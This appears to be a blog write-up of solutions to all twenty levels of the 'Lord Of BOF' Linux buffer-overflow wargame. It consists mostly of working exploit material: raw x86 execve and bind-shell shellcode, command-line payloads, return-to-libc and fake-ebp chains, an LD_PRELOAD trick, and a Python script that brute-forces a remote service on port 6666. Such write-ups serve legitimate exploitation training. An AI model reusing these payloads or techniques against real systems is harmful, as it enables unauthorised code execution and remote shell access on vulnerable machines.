본문 바로가기

Wargames/Lord Of Bof

[Lord Of Bof] Lord Of BOF Solutions ( Redhat )

Solutions

Level 1


- Simple Buffer Overflow

; buffer[256] | ebp[4] | ret[4] ;    ; need to run with bash2 because of \x00 and \xff 
; shellcode : \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80  // 41 bytes
; buffer addr : \x18\xf9\xff\xbf
; payload : ./gremlin $(python -c 'print "A"*200 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "A"*19 + "\x18\xf9\xff\xbf"')

Level 2


- small buffer

; buffer size is only 16 bytes. so we need to use environment value for saving shellcode
; by using getenv.c, getting env's addr, ; address is determined length of program, so we need to make this program name's length, 6

#include 
int main(int argc, char *argv[]){
printf("%s address : %x\n", argv[1] , getenv(argv[1]));
return 0;
}

; my sc address : 0xbffffec3
; export sc=$(python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')
; paylaod : ./cobolt $(python -c 'print "A"*20 + "\xc3\xfe\xff\xbf"')

Level 3


- small buffer + stdin

; just change payload position, level 2
; payload : (python -c 'print "A"*20 + "\xf9\xfc\xff\xbf"'; cat) | ./goblin

Level 4


- can't use env + fixed byte [48]

; buffer[40] | ebp[4] | ret[4]     so we'd better use shellcode smaller than 40 bytes. 
; but if we use another space like argv[2], we can no longer to be limited by buffer size. So we'll use argv[2] space for shellcode
; or you just put shellcode in buffer and buffer address at ret
; argv[2] address : 0xbffffc45
; payload : ./orc $(python -c 'print "\x90"*44 + "\x45\xfc\xff\xbf"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

Level 5


- can't use buffer & env and fixed byte [48]

; can't use buffer option(?) is added and other condition is same as previous level
; we can exploit this level with using argv[2] space  ; same solution with previous payload
; argv[2] address : 0xbffffc52
; payload :  ./wolfman $(python -c 'print "\x90"*44 + "\x52\xfc\xff\xbf"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

Level 6


- can't use buffer & env and fixed byte [48] + argv[1]'s length must be under 48 

; This level is also easy with using argv[2] 
; argv[2] address : 0xbffffc36
; payload :  ./darkelf $(python -c 'print "\x90"*44 + "\x36\xfc\xff\xbf"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

Level 7


- can't use buffer & env and fixed byte [48] + argv[1]'s length must be under 48 + argv[0](file name) must have 77 length

; This level is also also easy with using argv[2] + how to change fixed program's length 
; by using './//////////....////////' 
; argv[2] address : 0xbffffbae
; payload : $(python -c 'print "./" + "/"*71 + "orge"') $(python -c 'print "\x90"*44 + "\xae\xfb\xff\xbf"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"')

Level 8


- can't use buffer & env and fixed byte [48] + argv[1]'s length must be under 48 + argv[0](file name) must have 77 length + can't use argv[2] now 

; There is an idea! instead of argv[2], we use argv[0] for saving shellcode! ; we make file name with shellcode and link it to target program
; and we use shellcode without \x2f. beacause if the name include \x2f, we can't make symbolic link
; shellcode : \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

; argv[0] address : 0xbffffbaf
; making symbolic link : ln -s ./troll $(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81")
; payload : ./$(echo -en "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81") $(python -c 'print "A"*44 + "\xaf\xfb\xff\xbf"')

Level 9


- only two argc is allowed + fixed byte [48] -> \xbf + fixed byte [47] -> can't use \xff

; so we can't use any stack space. but the more allocate memory, the lower stack address is.
; solution is bommmming character or any value at argv[2] for lowing argv[2]'s address 
; argv[2] address : 0xbffffcbd
; payload : ./vampire $(python -c 'print "A"*44 + "\xbd\x75\xfe\xbf"') $(python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "A"*99975')

Level 10


- only two argc is allowed + fixed byte [48], \xbf + can't use env + argv[1]'s length must be under 48 + can't use buffer + can't use argv

; almost totally block it.... ;   
; link a skelton file with name(shellcode) ; and using space saved file name at end of stack proint 
; shellcode : \x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3
; that space address : 0xbfffffea
; payload : ./$(echo -en "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3") $(python -c 'print "\xea\xff\xff\xbf"*12')

Level 11


-  blow up all stack where we can write + only 2 argv + foxed byte [48]

; now this is the time when we use LD_PRELOAD
* How to make shared library
Code : a.c
void a(){}

Compile Option : -fPIC -shared -o file ./a.c      ; you'd better insert \x90 in file name for finding 

; write down shellcode at filename

; export LD_PRELOAD="$(python -c 'print "/home/skeleton/" + "\x90"*120 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3"')"
; LD_PRELOAD address : 0xbffff59e
; payload : ./golem $(python -c 'print "\x9e\xff\xff\xbf"*12')

Level 12


-  1 byte overflow + only 2 argv ; kind of FPO problem

; we need to use 1 byte overflow because of strncpy function
; leave => mov ebp, esp   pop ebp
; ret     => pop eip jmp eip

; input shellcode in buffer and let the sfp's last byte be buffer's last byte
; payload : ./darkknight $(python -c 'print "\x90"*23 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\x14"')

Level 13


-  can't use stack point because we can't use \xbf where [48]

; So, we use RTL. 
; system address : 0x40058ae0
; find /bin/sh string in stack
Code :
#include 
int main(int argc, char *argv[]){
long shell = 0x40058ae0; // system function's address
while(memcmp((void*)shell,"/bin/sh",8)){ shell++; }
printf("/bin/sh is at %#x\n",shell);
}
; /bin/sh address : 0x400fbff9
; payload : ./bugbear $(python -c 'print "A"*44 + "\xe0\x8a\x05\x40" + "\x90"*4 + "\xf9\xbf\x0f\x40"')

Level 14


- ret must be execve function's address

; just RTL as similar as previous level
; careful execve function has 2 argv
execve( /bin/sh, argv, 0)
; make symbolic link where /bin/sh is exist. so that name will be there, almost end of stack. we use it as execve's argv
; need to use " " , if not, 0x0a will be treated like 0x00
; execve address : 0x400a9d48
; /bin/sh address :  0x400fbff9
; "/bin/sh" address : 0xbffffff7
; null byte address : 0xbffffffc or others
; payload : ./$(python -c 'print "\xf9\xbf\x0f\x40"') "$(python -c 'print "A"*44 + "\x48\x9d\x0a\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "\xf7\xff\xff\xbf" + "\xfc\xff\xff\xbf"')"

Level 15


- can't use either stack or library +  clear buffer+sfp 

; that means only we can use is ret ;  if we input ret address at ret, we can call function on [esp+4] 
; ret address : 0x804851e
; system address : 0x40058ae0
; /bin/sh address : 0x400fbff9
; payload : ./assassin $(python -c 'print "A"*44 + "\x1e\x85\x04\x08" + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40"')

Level 16


- assassin.c + using strncpy limited length 48 

; using fake ebp
; buffer address : 0xbffffa80
; system address : 0x40058ae0
; /bin/sh address : 0x400fbff9
; leaveret address : 0x80484df
; payload : ./zombie_assassin $(python -c 'print "A"*4 + "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "A"*24 + "\x80\xfa\xff\xbf" + "\xdf\x84\x04\x08"')

Level 17


- can't use LD_PRELOAD + library +  stack

; there are a lot of functions ; we just need to link function to function like chain
; and write down /bin/sh on buffer and get address
; DO address : 0x80487ec 
; GYE address : 0x80487bc
; GUL address : 0x804878c
; YUT address : 0x804875c
; MO address : 0x8048724
; /bin/sh address : 0xbffffa40 + 44(buffer+sfp) + 20(do~mo) + 4(dummy)  + 4(address) + 4(/bin/sh) = 0xbffffa88
; payload : ./succubus $(python -c 'print "A"*44 + "\xec\x87\x04\x08" + "\xbc\x87\x04\x08" + "\x8c\x87\x04\x08" + "\x5c\x87\x04\x08" + "\x24\x87\x04\x08" + "A"*4 + "\x88\xfa\xff\xbf" + "/bin/sh"')

Level 18


- overwrite ret to AAAA + ret must be strcpy function address

; by using strcpy function, let it ret be overwritten the address redirecting where running /bin/sh code is ; strcpy (dest, src)
; strcpy@plt address : 0x08048410
; system address : 0x40058ae0
; /bin/sh address : 0x400fbff9
; buffer address : 0xbffffa80
; ret address : 0xbffffa80 + 48 = 0xbffffab0
; payload : ./nightmare $(python -c 'print "\xe0\x8a\x05\x40" + "A"*4 + "\xf9\xbf\x0f\x40" + "A"*32 + "\x10\x84\x04\x08" + "A"*4 + "\xb0\xfa\xff\xbf" + "\x80\xfa\xff\xbf"')

Level 19


- can't use LD_PRELOAD + stack + binary area + library 
- stdin input 256 but buffer size is 40
 
; using strace, we can find this program read 0x40015000 ~ 0x40016000 

; ret address : 0x40015000 
; payload : (python -c 'print "\x90"*27 + "\x68\xf9\xbf\x0f\x40\x68\xe0\x91\x03\x40\xb8\xe0\x8a\x05\x40\x50\xc3" + "\x01\x50\x01\x40"'; cat) | ./xavius

Level 20


- remote buffer overflow

; just socket is added ; it isn't hard
; port : 6666
; Python Code :
#!/usr/bin/pythn
from socket import *
for i in range(0xFF, 0x00, -1):
        for j in range(0xFF, 0x00, -50):
		s = socket(AF_INET, SOCK_STREAM)
		s.connect(('192.168.254.129', 6666))
		s.send("A"*44+chr(j)+chr(i)+"\xff\xbf"+"A"*100+"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2\xb0\x0b\xcd\x80")
		print s.recv(1024)
		s.close()

ALL CLEAR!


[death_knight@localhost death_knight]$ ls
dropped_item.txt
[death_knight@localhost death_knight]$ cat ./*
	
 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,' 
                   `'

[death_knight@localhost death_knight]$